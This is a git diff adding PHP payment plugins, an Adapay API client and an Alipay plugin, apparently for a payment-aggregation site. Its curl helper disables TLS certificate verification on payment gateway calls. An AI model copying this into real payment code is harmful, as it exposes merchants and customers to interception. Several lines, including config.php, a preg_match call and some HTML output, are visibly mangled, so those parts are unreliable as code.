} + + static function config($config = []) + { + return new static($config); + } + + private function get_headers($req_url , $postData , array $header = []) + { + array_push($header , 'Authorization:' . self::$api_key); + array_push($header , 'Signature:' . $this->ada_tools->generateSignature($req_url , $postData)); + return $header; + } + + private function request($method, $endpoint, $params = null) + { + $req_url = self::$gateWayUrl . $endpoint; + if($method == 'GET'){ + if($params){ + ksort($params); + $headers = $this->get_headers($req_url , http_build_query($params) , self::$headerText); + $req_url .= '?' . http_build_query($params); + }else{ + $headers = $this->get_headers($req_url , "" , self::$headerText); + } + $response = $this->curl($req_url , null , $headers); + }else{ + $headers = $this->get_headers($req_url , $params , self::$header); + $response = $this->curl($req_url , $params , $headers); + } + + if (!$response || !($result = json_decode($response , true))) { + throw new Exception('返回内容为空或解析失败'); + } + if(!isset($result['data']) && isset($result['message'])){ + throw new Exception($result['message']); + } + $data = json_decode($result['data'], true); + + if ($data['status'] !== 'succeeded' && $data['status'] !== 'pending' && empty($data['expend'])) { + throw new Exception('['.$data['error_code'].']'.$data['error_msg']); + } + return $data; + } + + //创建支付对象 + public function createPayment($params) + { + $endpoint = '/v1/payments'; + $public_params = [ + 'app_id' => self::$app_id, + 'sign_type' => self::$signType, + ]; + $params = array_merge($params, $public_params); + return $this->request('POST', $endpoint, $params); + } + + //通用请求 + public function queryAdapay($params) + { + self::$gateWayUrl = "https://page.adapay.tech"; + $adapayFuncCode = $params["adapay_func_code"]; + $endpoint = '/v1/'.str_replace(".", "/",$adapayFuncCode); + $public_params = [ + 'app_id' => self::$app_id, + ]; + $params = array_merge($public_params, $params); + return $this->request('POST', $endpoint, $params); + } + + //通用请求 + public function requestAdapay($params) + { + $adapayFuncCode = $params["adapay_func_code"]; + $endpoint = '/v1/'.str_replace(".", "/",$adapayFuncCode); + $public_params = [ + 'app_id' => self::$app_id, + ]; + $params = array_merge($public_params, $params); + return $this->request('POST', $endpoint, $params); + } + + //查询支付对象 + public function queryPayment($id) + { + $endpoint = '/v1/payments/'.$id; + return $this->request('GET', $endpoint, null); + } + + //创建退款对象 + public function createRefund($params){ + $charge_id = isset($params['payment_id']) ? $params['payment_id'] : ''; + $endpoint = '/v1/payments/'.$charge_id.'/refunds'; + return $this->request('POST', $endpoint, $params); + } + + //查询退款对象 + public function queryRefund($params){ + $endpoint = '/v1/payments/refunds'; + return $this->request('GET', $endpoint, $params); + } + + //创建用户对象 + public function createMember($member_id){ + $params = [ + 'app_id' => self::$app_id, + 'member_id' => $member_id, + ]; + $endpoint = '/v1/members'; + return $this->request('POST', $endpoint, $params); + } + + //创建结算账户对象 + public function createSettleAccount($member_id, $account_info){ + $params = [ + 'app_id' => self::$app_id, + 'member_id' => $member_id, + 'channel' => 'bank_account', + 'account_info' => $account_info + ]; + $endpoint = '/v1/settle_accounts'; + return $this->request('POST', $endpoint, $params); + } + + //查询结算账户对象 + public function querySettleAccount($member_id, $settle_account_id){ + $params = [ + 'app_id' => self::$app_id, + 'member_id' => $member_id, + 'settle_account_id' => $settle_account_id + ]; + $endpoint = '/v1/settle_accounts/'.$settle_account_id; + return $this->request('GET', $endpoint, $params); + } + + //删除结算账户对象 + public function deleteSettleAccount($member_id, $settle_account_id){ + $params = [ + 'app_id' => self::$app_id, + 'member_id' => $member_id, + 'settle_account_id' => $settle_account_id + ]; + $endpoint = '/v1/settle_accounts/delete'; + return $this->request('POST', $endpoint, $params); + } + + //创建支付确认对象 + public function createPaymentConfirm($params){ + $endpoint = '/v1/payments/confirm'; + return $this->request('POST', $endpoint, $params); + } + + //查询支付确认对象 + public function queryPaymentConfirm($payment_confirm_id){ + $params = [ + 'payment_confirm_id' => $payment_confirm_id + ]; + $endpoint = '/v1/payments/confirm/'.$payment_confirm_id; + return $this->request('GET', $endpoint, $params); + } + + //创建支付撤销对象 + public function createPaymentReverse($params){ + $endpoint = '/v1/payments/reverse'; + return $this->request('POST', $endpoint, $params); + } + + //查询支付确认对象 + public function queryPaymentReverse($reverse_id){ + $params = [ + 'reverse_id' => $reverse_id + ]; + $endpoint = '/v1/payments/reverse/'.$reverse_id; + return $this->request('GET', $endpoint, $params); + } + + //创建取现对象 + public function createDrawCash($params){ + $endpoint = '/v1/cashs'; + $public_params = [ + 'app_id' => self::$app_id, + ]; + $params = array_merge($params, $public_params); + return $this->request('POST', $endpoint, $params); + } + + //查询取现对象 + public function queryDrawCash($order_no){ + $endpoint = '/v1/cashs/stat'; + $params = [ + 'order_no' => $order_no, + ]; + return $this->request('GET', $endpoint, $params); + } + + //查询账户余额 + public function queryBalance($member_id, $settle_account_id = null){ + $endpoint = '/v1/settle_accounts/balance'; + $params = [ + 'app_id' => self::$app_id, + 'member_id' => $member_id + ]; + if($settle_account_id){ + $params['settle_account_id'] = $settle_account_id; + } + return $this->request('GET', $endpoint, $params); + } + + //钱包登录 + public function walletLogin($member_id, $ip){ + $endpoint = '/v1/walletLogin'; + $params = [ + 'app_id' => self::$app_id, + 'member_id' => $member_id, + 'ip' => $ip + ]; + return $this->request('GET', $endpoint, $params); + } + + //账户转账 + public function createTransfer($params){ + $endpoint = '/v1/settle_accounts/transfer'; + $public_params = [ + 'app_id' => self::$app_id, + ]; + $params = array_merge($params, $public_params); + return $this->request('POST', $endpoint, $params); + } + + //账户转账查询 + public function queryTransfer($params){ + $endpoint = '/v1/settle_accounts/transfer/list'; + $public_params = [ + 'app_id' => self::$app_id, + ]; + $params = array_merge($public_params, $params); + return $this->request('GET', $endpoint, $params); + } + + /** + * @param $url + * @param null $post + * @param null $cookie + * @return bool|string + */ + protected function curl($url, $post = null, array $headers = []) + { + $ch = curl_init(); + curl_setopt($ch, CURLOPT_URL, $url); + curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); + curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); + curl_setopt($ch, CURLOPT_TIMEOUT, 10); + if (!is_null($post)) { + curl_setopt($ch, CURLOPT_POST, true); + if (is_array($post)) { + $postData = json_encode($post); + curl_setopt($ch, CURLOPT_POSTFIELDS, $postData); + } else { + curl_setopt($ch, CURLOPT_POSTFIELDS, $post); + } + } + curl_setopt($ch, CURLOPT_HEADER, false); + curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); + curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); + curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); + $ret = curl_exec($ch); + curl_close($ch); + return $ret; + } +} \ No newline at end of file diff --git a/plugins/adapay/inc/config.php b/plugins/adapay/inc/config.php new file mode 100644 index 0000000..c2d0ea9 --- /dev/null +++ b/plugins/adapay/inc/config.php @@ -0,0 +1,7 @@ + trim($channel['appid']), + 'api_key_live' => trim($channel['appkey']), + 'rsa_private_key' => trim($channel['appsecret']), +]; +?> \ No newline at end of file diff --git a/plugins/alipay/alipay_plugin.php b/plugins/alipay/alipay_plugin.php new file mode 100644 index 0000000..327ea76 --- /dev/null +++ b/plugins/alipay/alipay_plugin.php @@ -0,0 +1,925 @@ + 'alipay', //支付插件英文名称,需和目录名称一致,不能有重复 + 'showname' => '支付宝官方支付', //支付插件显示名称 + 'author' => '支付宝', //支付插件作者 + 'link' => 'https://b.alipay.com/signing/productSetV2.htm', //支付插件作者链接 + 'types' => ['alipay'], //支付插件支持的支付方式,可选的有alipay,qqpay,wxpay,bank + 'transtypes' => ['alipay','bank'], //支付插件支持的转账方式,可选的有alipay,qqpay,wxpay,bank + 'inputs' => [ //支付插件要求传入的参数以及参数显示名称,可选的有appid,appkey,appsecret,appurl,appmchid + 'appid' => [ + 'name' => '应用APPID', + 'type' => 'input', + 'note' => '', + ], + 'appkey' => [ + 'name' => '支付宝公钥', + 'type' => 'textarea', + 'note' => '填错也可以支付成功但会无法回调,如果用公钥证书模式此处留空', + ], + 'appsecret' => [ + 'name' => '应用私钥', + 'type' => 'textarea', + 'note' => '', + ], + 'appmchid' => [ + 'name' => '卖家支付宝用户ID', + 'type' => 'input', + 'note' => '可留空,默认为商户签约账号', + ], + ], + 'select' => [ //选择已开启的支付方式 + '1' => '电脑网站支付', + '2' => '手机网站支付', + '3' => '当面付扫码', + '4' => '当面付JS', + '5' => '预授权支付', + '6' => 'APP支付', + '7' => 'JSAPI支付', + '8' => '订单码支付', + ], + 'note' => '

    选择可用的接口,只能选择已经签约的产品,否则会无法支付!

    如果使用公钥证书模式,需将应用公钥证书、支付宝公钥证书、支付宝根证书3个crt文件放置于/plugins/alipay/cert/文件夹(或/plugins/alipay/cert/应用APPID/文件夹)

    ', //支付密钥填写说明 + 'bindwxmp' => false, //是否支持绑定微信公众号 + 'bindwxa' => false, //是否支持绑定微信小程序 + ]; + + static public function submit(){ + global $siteurl, $channel, $order, $ordername, $sitename, $submit2, $conf, $clientip; + + $isMobile = checkmobile(); + $isAlipay = checkalipay(); + if($isAlipay && in_array('4',$channel['apptype']) && !in_array('2',$channel['apptype'])){ + if(!empty($conf['localurl_alipay']) && !strpos($conf['localurl_alipay'],$_SERVER['HTTP_HOST'])){ + return ['type'=>'jump','url'=>$conf['localurl_alipay'].'pay/jspay/'.TRADE_NO.'/?d=1']; + } + return ['type'=>'jump','url'=>'/pay/jspay/'.TRADE_NO.'/?d=1']; + } + elseif($isMobile && (in_array('3',$channel['apptype'])||in_array('4',$channel['apptype'])||in_array('8',$channel['apptype'])) && !in_array('2',$channel['apptype']) || !$isMobile && !in_array('1',$channel['apptype'])){ + return ['type'=>'jump','url'=>'/pay/qrcode/'.TRADE_NO.'/']; + } + else{ + + if(checkwechat()){ + if(!$submit2){ + return ['type'=>'jump','url'=>'/pay/submit/'.TRADE_NO.'/']; + } + return ['type'=>'page','page'=>'wxopen']; + } + + if(!empty($conf['localurl_alipay']) && !strpos($conf['localurl_alipay'],$_SERVER['HTTP_HOST'])){ + return ['type'=>'jump','url'=>$conf['localurl_alipay'].'pay/submit/'.TRADE_NO.'/']; + } + + if($isMobile && in_array('2',$channel['apptype'])){ + if($conf['alipay_wappaylogin']==1){ + if($isAlipay){ + return ['type'=>'jump','url'=>'/pay/submitwap/'.TRADE_NO.'/?d=1']; + }else{ + return ['type'=>'jump','url'=>'/pay/qrcode/'.TRADE_NO.'/']; + } + } + $alipay_config = require(PAY_ROOT.'inc/config.php'); + $alipay_config['notify_url'] = $conf['localurl'].'pay/notify/'.TRADE_NO.'/'; + $alipay_config['return_url'] = $siteurl.'pay/return/'.TRADE_NO.'/'; + $bizContent = [ + 'out_trade_no' => TRADE_NO, + 'total_amount' => $order['realmoney'], + 'subject' => $ordername, + ]; + if(!empty($channel['appmchid'])){ + $bizContent['seller_id'] = $channel['appmchid']; + } + $bizContent['business_params'] = ['mc_create_trade_ip' => $clientip]; + try{ + $aop = new \Alipay\AlipayTradeService($alipay_config); + $html = $aop->wapPay($bizContent); + }catch(Exception $e){ + return ['type'=>'error','msg'=>'支付宝下单失败!'.$e->getMessage()]; + } + + return ['type'=>'html','data'=>$html]; + }elseif(in_array('1',$channel['apptype'])){ + if($conf['alipay_paymode'] == 1 || $isMobile){ + return ['type'=>'jump','url'=>'/pay/qrcodepc/'.TRADE_NO.'/']; + } + $alipay_config = require(PAY_ROOT.'inc/config.php'); + $alipay_config['notify_url'] = $conf['localurl'].'pay/notify/'.TRADE_NO.'/'; + $alipay_config['return_url'] = $siteurl.'pay/return/'.TRADE_NO.'/'; + $bizContent = [ + 'out_trade_no' => TRADE_NO, + 'total_amount' => $order['realmoney'], + 'subject' => $ordername, + ]; + if(!empty($channel['appmchid'])){ + $bizContent['seller_id'] = $channel['appmchid']; + } + $bizContent['business_params'] = ['mc_create_trade_ip' => $clientip]; + try{ + $aop = new \Alipay\AlipayTradeService($alipay_config); + $html = $aop->pagePay($bizContent); + }catch(Exception $e){ + return ['type'=>'error','msg'=>'支付宝下单失败!'.$e->getMessage()]; + } + + return ['type'=>'html','data'=>$html]; + }elseif(in_array('6',$channel['apptype'])){ + if($conf['alipay_wappaylogin']==1 && !$isAlipay || $isMobile && !$isAlipay){ + return ['type'=>'jump','url'=>'/pay/qrcode/'.TRADE_NO.'/']; + } + return ['type'=>'jump','url'=>'/pay/apppay/'.TRADE_NO.'/?d=1']; + }elseif(in_array('7',$channel['apptype'])){ + return ['type'=>'jump','url'=>'/pay/minipay/'.TRADE_NO.'/?d=1']; + }elseif(in_array('5',$channel['apptype'])){ + if($conf['alipay_wappaylogin']==1 && !$isAlipay){ + return ['type'=>'jump','url'=>'/pay/qrcode/'.TRADE_NO.'/']; + } + return ['type'=>'jump','url'=>'/pay/preauth/'.TRADE_NO.'/?d=1']; + } + } + } + + static public function mapi(){ + global $siteurl, $channel, $order, $conf, $device, $mdevice, $method; + + if($method=='app'){ + return self::apppay(); + } + elseif($method=='jsapi'){ + if(in_array('7',$channel['apptype'])){ + return self::jsapipay(); + }else{ + return self::jspay(); + } + }elseif($method=='scan'){ + return self::scanpay(); + } + elseif($mdevice=='alipay' && in_array('4',$channel['apptype']) && !in_array('2',$channel['apptype'])){ + if(!empty($conf['localurl_alipay']) && !strpos($conf['localurl_alipay'],$_SERVER['HTTP_HOST'])){ + return ['type'=>'jump','url'=>$conf['localurl_alipay'].'pay/jspay/'.TRADE_NO.'/?d=1']; + } + return ['type'=>'jump','url'=>$siteurl.'pay/jspay/'.TRADE_NO.'/?d=1']; + } + elseif($device=='mobile' && (in_array('3',$channel['apptype'])||in_array('4',$channel['apptype'])||in_array('8',$channel['apptype'])) && !in_array('2',$channel['apptype']) || $device=='pc' && !in_array('1',$channel['apptype'])){ + return self::qrcode(); + }else{ + + if(!empty($conf['localurl_alipay']) && !strpos($conf['localurl_alipay'],$_SERVER['HTTP_HOST'])){ + return ['type'=>'jump','url'=>$conf['localurl_alipay'].'pay/submit/'.TRADE_NO.'/']; + }else{ + return ['type'=>'jump','url'=>$siteurl.'pay/submit/'.TRADE_NO.'/']; + } + } + } + + //电脑网站支付扫码 + static public function qrcodepc(){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip; + + if(checkmobile()){ + $alipay_config = require(PAY_ROOT.'inc/config.php'); + $alipay_config['notify_url'] = $conf['localurl'].'pay/notify/'.TRADE_NO.'/'; + $alipay_config['return_url'] = $siteurl.'pay/return/'.TRADE_NO.'/'; + $alipay_config['pageMethod'] = '2'; + $bizContent = [ + 'out_trade_no' => TRADE_NO, + 'total_amount' => $order['realmoney'], + 'subject' => $ordername, + 'qr_pay_mode' => '4' + ]; + if(!empty($channel['appmchid'])){ + $bizContent['seller_id'] = $channel['appmchid']; + } + $bizContent['business_params'] = ['mc_create_trade_ip' => $clientip]; + try{ + $aop = new \Alipay\AlipayTradeService($alipay_config); + $url = $aop->pagePay($bizContent); + $html = get_curl($url, 0, 0, 0, 0, 0, 0, 0, 1); + $html = mb_convert_encoding($html, 'utf-8', 'gbk'); + }catch(Exception $e){ + return ['type'=>'error','msg'=>'支付宝下单失败!'.$e->getMessage()]; + } + + if(preg_match('!'qrcode','page'=>'alipay_qrcode','url'=>$code_url]; + }else{ + return ['type'=>'error','msg'=>'支付宝下单失败!获取二维码失败']; + } + + }else{ + $code_url = '/pay/submitpc/'.TRADE_NO.'/'; + return ['type'=>'qrcode','page'=>'alipay_qrcodepc','url'=>$code_url]; + } + } + + //电脑网站支付扫码跳转 + static public function submitpc(){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip; + + $alipay_config = require(PAY_ROOT.'inc/config.php'); + $alipay_config['notify_url'] = $conf['localurl'].'pay/notify/'.TRADE_NO.'/'; + $alipay_config['return_url'] = $siteurl.'pay/return/'.TRADE_NO.'/'; + $bizContent = [ + 'out_trade_no' => TRADE_NO, + 'total_amount' => $order['realmoney'], + 'subject' => $ordername, + 'qr_pay_mode' => '4', + 'qrcode_width' => '230' + ]; + if(!empty($channel['appmchid'])){ + $bizContent['seller_id'] = $channel['appmchid']; + } + $bizContent['business_params'] = ['mc_create_trade_ip' => $clientip]; + try{ + $aop = new \Alipay\AlipayTradeService($alipay_config); + $html = $aop->pagePay($bizContent); + }catch(Exception $e){ + return ['type'=>'error','msg'=>'支付宝下单失败!'.$e->getMessage()]; + } + + $html = '
    '.$html.''; + return ['type'=>'html','data'=>$html]; + } + + //手机网站支付扫码跳转 + static public function submitwap(){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip; + + $alipay_config = require(PAY_ROOT.'inc/config.php'); + + if($conf['alipay_wappaylogin']==1 && checkalipay()){ + [$user_type, $user_id] = alipay_oauth($alipay_config); + $blocks = checkBlockUser($user_id, TRADE_NO); + if($blocks) return $blocks; + } + + $alipay_config['notify_url'] = $conf['localurl'].'pay/notify/'.TRADE_NO.'/'; + if($_GET['d']=='1'){ + $alipay_config['return_url'] = $siteurl.'pay/return/'.TRADE_NO.'/'; + }else{ + $alipay_config['return_url'] = $siteurl.'pay/ok/'.TRADE_NO.'/'; + } + $bizContent = [ + 'out_trade_no' => TRADE_NO, + 'total_amount' => $order['realmoney'], + 'subject' => $ordername, + ]; + if(!empty($channel['appmchid'])){ + $bizContent['seller_id'] = $channel['appmchid']; + } + $bizContent['business_params'] = ['mc_create_trade_ip' => $clientip]; + try{ + $aop = new \Alipay\AlipayTradeService($alipay_config); + $html = $aop->wapPay($bizContent); + }catch(Exception $e){ + return ['type'=>'error','msg'=>'支付宝下单失败!'.$e->getMessage()]; + } + + return ['type'=>'html','data'=>$html]; + } + + //扫码支付 + static public function qrcode(){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip; + if(!in_array('3',$channel['apptype']) && in_array('2',$channel['apptype'])){ + $code_url = $siteurl.'pay/submitwap/'.TRADE_NO.'/'; + if(!empty($conf['localurl_alipay']) && !strpos($conf['localurl_alipay'],$_SERVER['HTTP_HOST'])){ + $code_url = $conf['localurl_alipay'].'pay/submitwap/'.TRADE_NO.'/'; + } + }elseif(!in_array('3',$channel['apptype']) && in_array('4',$channel['apptype'])){ + $code_url = $siteurl.'pay/jspay/'.TRADE_NO.'/'; + if(!empty($conf['localurl_alipay']) && !strpos($conf['localurl_alipay'],$_SERVER['HTTP_HOST'])){ + $code_url = $conf['localurl_alipay'].'pay/jspay/'.TRADE_NO.'/'; + } + }elseif(!in_array('3',$channel['apptype']) && in_array('6',$channel['apptype'])){ + $code_url = $siteurl.'pay/apppay/'.TRADE_NO.'/'; + if(!empty($conf['localurl_alipay']) && !strpos($conf['localurl_alipay'],$_SERVER['HTTP_HOST'])){ + $code_url = $conf['localurl_alipay'].'pay/apppay/'.TRADE_NO.'/'; + } + }elseif(!in_array('3',$channel['apptype']) && in_array('7',$channel['apptype'])){ + $code_url = $siteurl.'pay/minipay/'.TRADE_NO.'/'; + }elseif(!in_array('3',$channel['apptype']) && in_array('5',$channel['apptype'])){ + $code_url = $siteurl.'pay/preauth/'.TRADE_NO.'/'; + if(!empty($conf['localurl_alipay']) && !strpos($conf['localurl_alipay'],$_SERVER['HTTP_HOST'])){ + $code_url = $conf['localurl_alipay'].'pay/preauth/'.TRADE_NO.'/'; + } + }else{ + + $alipay_config = require(PAY_ROOT.'inc/config.php'); + $alipay_config['notify_url'] = $conf['localurl'].'pay/notify/'.TRADE_NO.'/'; + $bizContent = [ + 'out_trade_no' => TRADE_NO, + 'total_amount' => $order['realmoney'], + 'subject' => $ordername + ]; + if(!empty($channel['appmchid'])){ + $bizContent['seller_id'] = $channel['appmchid']; + } + if(!in_array('3',$channel['apptype']) && in_array('8',$channel['apptype'])){ + $bizContent['product_code'] = 'QR_CODE_OFFLINE'; + } + $bizContent['business_params'] = ['mc_create_trade_ip' => $clientip]; + try{ + $aop = new \Alipay\AlipayTradeService($alipay_config); + $result = $aop->qrPay($bizContent); + }catch(Exception $e){ + return ['type'=>'error','msg'=>'支付宝下单失败!'.$e->getMessage()]; + } + $code_url = $result['qr_code']; + + } + if(checkalipay() && $order['tid']==3){ + return ['type'=>'jump','url'=>$code_url]; + }else{ + return ['type'=>'qrcode','page'=>'alipay_qrcode','url'=>$code_url]; + } + } + + //APP支付 + static public function apppay(){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip, $method; + + $alipay_config = require(PAY_ROOT.'inc/config.php'); + + if($conf['alipay_wappaylogin']==1 && checkalipay()){ + [$user_type, $user_id] = alipay_oauth($alipay_config); + $blocks = checkBlockUser($user_id, TRADE_NO); + if($blocks) return $blocks; + } + + $alipay_config['notify_url'] = $conf['localurl'].'pay/notify/'.TRADE_NO.'/'; + $bizContent = [ + 'out_trade_no' => TRADE_NO, + 'total_amount' => $order['realmoney'], + 'subject' => $ordername + ]; + if(!empty($channel['appmchid'])){ + $bizContent['seller_id'] = $channel['appmchid']; + } + $bizContent['business_params'] = ['mc_create_trade_ip' => $clientip]; + try{ + $aop = new \Alipay\AlipayTradeService($alipay_config); + $result = $aop->appPay($bizContent); + }catch(Exception $e){ + return ['type'=>'error','msg'=>'支付宝下单失败!'.$e->getMessage()]; + } + if($method == 'app'){ + return ['type'=>'app','data'=>$result]; + } + if($_GET['d']=='1'){ + $redirect_url='data.backurl'; + }else{ + $redirect_url='\'/pay/ok/'.TRADE_NO.'/\''; + } + $code_url = 'alipays://platformapi/startApp?appId=20000125&orderSuffix='.urlencode($result).'#Intent;scheme=alipays;package=com.eg.android.AlipayGphone;end'; + return ['type'=>'page','page'=>'alipay_h5','data'=>['code_url'=>$code_url, 'redirect_url'=>$redirect_url]]; + } + + //预授权支付 + static public function preauth(){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip; + + $alipay_config = require(PAY_ROOT.'inc/config.php'); + + if($conf['alipay_wappaylogin']==1 && checkalipay()){ + [$user_type, $user_id] = alipay_oauth($alipay_config); + $blocks = checkBlockUser($user_id, TRADE_NO); + if($blocks) return $blocks; + } + + $alipay_config['notify_url'] = $conf['localurl'].'pay/preauthnotify/'.TRADE_NO.'/'; + $bizContent = [ + 'out_order_no' => TRADE_NO, + 'out_request_no' => TRADE_NO, + 'order_title' => $ordername, + 'amount' => $order['realmoney'], + 'product_code' => 'PREAUTH_PAY' + ]; + $bizContent['business_params'] = ['mc_create_trade_ip' => $clientip]; + try{ + $aop = new \Alipay\AlipayTradeService($alipay_config); + $result = $aop->preAuthFreeze($bizContent); + }catch(Exception $e){ + return ['type'=>'error','msg'=>'支付宝下单失败!'.$e->getMessage()]; + } + if($_GET['d']=='1'){ + $redirect_url='data.backurl'; + }else{ + $redirect_url='\'/pay/ok/'.TRADE_NO.'/\''; + } + $code_url = 'alipays://platformapi/startApp?appId=20000125&orderSuffix='.urlencode($result).'#Intent;scheme=alipays;package=com.eg.android.AlipayGphone;end'; + return ['type'=>'page','page'=>'alipay_h5','data'=>['code_url'=>$code_url, 'redirect_url'=>$redirect_url]]; + } + + //当面付JS支付 + static public function jspay(){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip, $method; + + $alipay_config = require(PAY_ROOT.'inc/config.php'); + + if(!empty($order['sub_openid'])){ + $user_id = $order['sub_openid']; + $user_type = is_numeric($user_id) && substr($user_id, 0, 4) == '2088' ? 'userid' : 'openid'; + }else{ + [$user_type, $user_id] = alipay_oauth($alipay_config); + } + + $blocks = checkBlockUser($user_id, TRADE_NO); + if($blocks) return $blocks; + + $alipay_config['notify_url'] = $conf['localurl'].'pay/notify/'.TRADE_NO.'/'; + $bizContent = [ + 'out_trade_no' => TRADE_NO, + 'total_amount' => $order['realmoney'], + 'subject' => $ordername + ]; + if(!empty($channel['appmchid'])){ + $bizContent['seller_id'] = $channel['appmchid']; + } + if($user_type == 'userid'){ + $bizContent['buyer_id'] = $user_id; + }else{ + $bizContent['buyer_open_id'] = $user_id; + } + $bizContent['business_params'] = ['mc_create_trade_ip' => $clientip]; + try{ + $aop = new \Alipay\AlipayTradeService($alipay_config); + $result = $aop->jsPay($bizContent); + }catch(Exception $e){ + return ['type'=>'error','msg'=>'支付宝下单失败!'.$e->getMessage()]; + } + $alipay_trade_no = $result['trade_no']; + if($method == 'jsapi'){ + return ['type'=>'jsapi','data'=>$alipay_trade_no]; + } + + if($_GET['d']=='1'){ + $redirect_url='data.backurl'; + }else{ + $redirect_url='\'/pay/ok/'.TRADE_NO.'/\''; + } + return ['type'=>'page','page'=>'alipay_jspay','data'=>['alipay_trade_no'=>$alipay_trade_no, 'redirect_url'=>$redirect_url]]; + } + + //JSAPI支付 + static public function jsapipay(){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip, $method; + + $user_id = $order['sub_openid']; + $user_type = is_numeric($user_id) && substr($user_id, 0, 4) == '2088' ? 'userid' : 'openid'; + + $blocks = checkBlockUser($user_id, TRADE_NO); + if($blocks) return $blocks; + + $alipay_config = require(PAY_ROOT.'inc/config.php'); + $alipay_config['notify_url'] = $conf['localurl'].'pay/notify/'.TRADE_NO.'/'; + $bizContent = [ + 'out_trade_no' => TRADE_NO, + 'total_amount' => $order['realmoney'], + 'subject' => $ordername, + 'product_code' => 'JSAPI_PAY', + 'op_app_id' => $order['sub_appid'] ? $order['sub_appid'] : $alipay_config['app_id'] + ]; + if(!empty($channel['appmchid'])){ + $bizContent['seller_id'] = $channel['appmchid']; + } + if($user_type == 'openid'){ + $bizContent['buyer_open_id'] = $user_id; + }else{ + $bizContent['buyer_id'] = $user_id; + } + $bizContent['business_params'] = ['mc_create_trade_ip' => $clientip]; + try{ + $aop = new \Alipay\AlipayTradeService($alipay_config); + $result = $aop->jsPay($bizContent); + }catch(Exception $e){ + return ['type'=>'error','msg'=>'支付宝下单失败!'.$e->getMessage()]; + } + $alipay_trade_no = $result['trade_no']; + return ['type'=>'jsapi','data'=>$alipay_trade_no]; + } + + //支付宝小程序支付 + static public function alipaymini(){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip; + + $auth_code = isset($_GET['auth_code'])?trim($_GET['auth_code']):exit('{"code":-1,"msg":"auth_code不能为空"}'); + + $alipay_config = require(PAY_ROOT.'inc/config.php'); + $alipay_config['notify_url'] = $conf['localurl'].'pay/notify/'.TRADE_NO.'/'; + + try{ + [$app_id, $user_type, $user_id] = alipay_mini_oauth($auth_code, $alipay_config); + }catch(Exception $e){ + exit(json_encode(['code'=>-1, 'msg'=>$e->getMessage()])); + } + + $blocks = checkBlockUser($user_id, TRADE_NO); + if($blocks)exit('{"code":-1,"msg":"'.$blocks['msg'].'"}'); + + $bizContent = [ + 'out_trade_no' => TRADE_NO, + 'total_amount' => $order['realmoney'], + 'subject' => $ordername, + 'product_code' => 'JSAPI_PAY', + 'op_app_id' => $app_id + ]; + if(!empty($channel['appmchid'])){ + $bizContent['seller_id'] = $channel['appmchid']; + } + if($user_type == 'openid'){ + $bizContent['buyer_open_id'] = $user_id; + }else{ + $bizContent['buyer_id'] = $user_id; + } + $bizContent['business_params'] = ['mc_create_trade_ip' => $clientip]; + try{ + $aop = new \Alipay\AlipayTradeService($alipay_config); + $result = $aop->jsPay($bizContent); + $alipay_trade_no = $result['trade_no']; + }catch(Exception $e){ + exit(json_encode(['code'=>-1, 'msg'=>'支付宝下单失败!'.$e->getMessage()])); + } + exit(json_encode(['code'=>0, 'data'=>$alipay_trade_no])); + } + + //H5跳转小程序支付 + static public function minipay(){ + global $siteurl, $channel, $conf; + + $code_url = alipaymini_jump_scheme(TRADE_NO, $channel['appid']); + + if($_GET['d']=='1'){ + $redirect_url='data.backurl'; + }else{ + $redirect_url='\'/pay/ok/'.TRADE_NO.'/\''; + } + return ['type'=>'page','page'=>'alipay_h5','data'=>['code_url'=>$code_url, 'redirect_url'=>$redirect_url]]; + } + + //付款码支付 + static public function scanpay(){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip; + + $alipay_config = require(PAY_ROOT.'inc/config.php'); + $alipay_config['notify_url'] = $conf['localurl'].'pay/notify/'.TRADE_NO.'/'; + $bizContent = [ + 'out_trade_no' => TRADE_NO, + 'total_amount' => $order['realmoney'], + 'subject' => $ordername, + 'auth_code' => $order['auth_code'], + 'scene' => 'bar_code', + ]; + if(!empty($channel['appmchid'])){ + $bizContent['seller_id'] = $channel['appmchid']; + } + $bizContent['business_params'] = ['mc_create_trade_ip' => $clientip]; + try{ + $aop = new \Alipay\AlipayTradeService($alipay_config); + $result = $aop->scanPay($bizContent); + if(!empty($result['buyer_user_id'])){ + $buyer_id = $result['buyer_user_id']; + }else{ + $buyer_id = $result['buyer_open_id']; + } + return ['type'=>'scan','data'=>['type'=>$order['typename'], 'trade_no'=>$result['out_trade_no'], 'api_trade_no'=>$result['trade_no'], 'buyer'=>$buyer_id, 'money'=>$result['total_amount']]]; + }catch(\Alipay\Aop\AlipayResponseException $e){ + $code = $e->getRetCode(); + if($code == '10003' || $code == '20000'){ + if($code == '10003') sleep(2); + $retry = 0; + $success = false; + while($retry < 6){ + sleep(3); + try{ + $result = $aop->query(null, TRADE_NO); + }catch(Exception $e){ + return ['type'=>'error','msg'=>'支付宝支付失败!订单查询失败:'.$e->getMessage()]; + } + if($result['trade_status'] == 'TRADE_SUCCESS'){ + $success = true; + break; + }elseif($result['trade_status'] != 'WAIT_BUYER_PAY'){ + return ['type'=>'error','msg'=>'支付宝支付失败!订单超时或用户取消支付']; + } + $retry++; + } + if($success){ + if(!empty($result['buyer_user_id'])){ + $buyer_id = $result['buyer_user_id']; + }else{ + $buyer_id = $result['buyer_open_id']; + } + return ['type'=>'scan','data'=>['type'=>$order['typename'], 'trade_no'=>$result['out_trade_no'], 'api_trade_no'=>$result['trade_no'], 'buyer'=>$buyer_id, 'money'=>$result['total_amount']]]; + }else{ + try{ + $aop->cancel(['out_trade_no'=>TRADE_NO]); + }catch(Exception $e){ + } + return ['type'=>'error','msg'=>'支付宝支付失败!订单已超时']; + } + } + return ['type'=>'error','msg'=>$e->getMessage()]; + }catch(Exception $e){ + return ['type'=>'error','msg'=>'支付宝下单失败!'.$e->getMessage()]; + } + } + + //支付成功页面 + static public function ok(){ + return ['type'=>'page','page'=>'ok']; + } + + 